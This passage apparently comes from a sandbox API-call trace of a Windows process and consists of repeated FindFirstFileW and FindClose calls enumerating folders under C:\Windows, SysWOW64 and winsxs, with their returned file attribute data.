ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.980] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\Tasks\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="en-us", cAlternateFileName="")) returned 0xffffffff [0071.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\th-TH\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11f1a36, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x416695c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x416695c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.980] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\tr-TR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x418cab6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x418cab6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.981] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\uk-UA\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x41b2c10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x41b2c10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.982] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\wbem\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.983] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\WCN\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e5555ab, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.984] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\wdi\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1289f9e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1289f9e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.985] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\WindowsPowerShell\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.985] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\winrm\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.985] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\zh-CN\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.986] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\zh-HK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.987] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\zh-TW\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.988] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Vss\\Writers\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12d6252, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x12fc3ac, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x12fc3ac, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.989] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Web\\Wallpaper\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x937461fc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x937461fc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.991] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_1394.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_beafdf583b909e3f\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.993] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_1394.inf_31bf3856ad364e35_6.1.7601.17514_none_59555c0e1c877c53\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340512f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83e2ebb5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83e2ebb5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.994] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_61883.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_91f21dbac7469950\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.995] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_61883.inf_31bf3856ad364e35_6.1.7600.16385_none_85f254c73905f86e\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19349e5b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19349e5b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19349e5b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.996] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_acpi.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0fa7d070e2960b75\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.998] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_acpi.inf_31bf3856ad364e35_6.1.7601.17514_none_80aec972e4a75989\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b031dc, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83e54d16, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83e54d16, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0071.999] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0071.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_acpipmi.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ac73b2c5fc356f15\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.000] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_acpipmi.inf_31bf3856ad364e35_6.1.7601.17514_none_05a4bc65d71b80df\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e08a55, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83e08a55, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83e08a55, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.000] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_addinprocess32_b77a5c561934e089_6.1.7601.17514_none_df35b5ac03866e22\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb47a4516, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb017398c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb017398c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.003] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adp94xx.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7d4dd7ec25670124\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.004] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adp94xx.inf_31bf3856ad364e35_6.1.7600.16385_none_5de621becad4e4ec\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.005] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adpahci.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_88af6947356320a2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.005] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adpahci.inf_31bf3856ad364e35_6.1.7600.16385_none_c03269cd9f4f5ed2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.006] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adpu320.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a45a05a6afc0a79\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.006] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_adpu320.inf_31bf3856ad364e35_6.1.7600.16385_none_f4a210f475e000bb\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.007] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_af9035bda.inf_31bf3856ad364e35_6.1.7600.16385_none_63dceacb39391445\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404d17, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b404d17, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b404d17, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.009] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_agp.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c1d2a33730aa56a6\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.012] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_agp.inf_31bf3856ad364e35_6.1.7600.16385_none_c7f512edfa7ccbd0\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a35b2f9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a35b2f9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.013] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_amdsata.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9c21da54655fab3d\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.014] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_amdsata.inf_31bf3856ad364e35_6.1.7601.17514_none_aa92dcaf988a9119\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e54d16, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83e54d16, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83e54d16, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.015] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_amdsbs.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_267caec07f213aec\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.015] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.015] FindFirstFileW (in: 